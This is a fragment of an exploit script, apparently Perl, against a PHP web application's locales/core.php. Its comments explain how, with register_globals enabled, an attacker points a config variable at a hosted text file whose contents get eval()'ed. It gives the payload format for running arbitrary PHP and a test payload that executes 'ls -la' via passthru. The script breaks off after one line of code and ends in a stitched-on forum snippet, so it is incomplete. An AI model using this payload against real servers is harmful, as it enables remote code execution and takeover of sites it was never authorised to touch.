require LWP::UserAgent;
# This is some kind of wicked vulnerability, requires register_globals to be ON!
# First of all, create a file on your site, make it a .txt or something, this will contain
# the php code you want to execute. (no this is NOT RFI). The .txt file has to be like this:
#
# 'hi'); ob_end_clean(); [YOUR PHP CODE] /*
#
# Notice the /* at the end.
#
#Now, open up the exploit, and check the usage...
#
# About the vuln:
# File: locales/core.php
# First line says "ob_start()"; so we won't get any output (we WILL if you exploit it correctly)
# Then you get:
# @readfile( "{$dPconfig['root_dir']}/locales/$AppUI->user_locale/common.inc" );
# Here is the vuln part 1, $dPconfig isn't sanitized and with register_globals to On anyone can set this.
# And part 2, on one of the last lines:
# eval( "\$GLOBALS['translate']=array(".ob_get_contents()."\n'0');" );
# We were able to modify the buffer contents, and they are being eval()'ed now, so with a little code modification
# you can leave the array() and execute your own code.
#
if(@ARGV < 2)

to quickly check if it's vulnerable, use this as a script to inject.
Code:
'hi'); ob_end_clean(); print "Yes, I am vulnerable!"; passthru('ls -la'); /* |
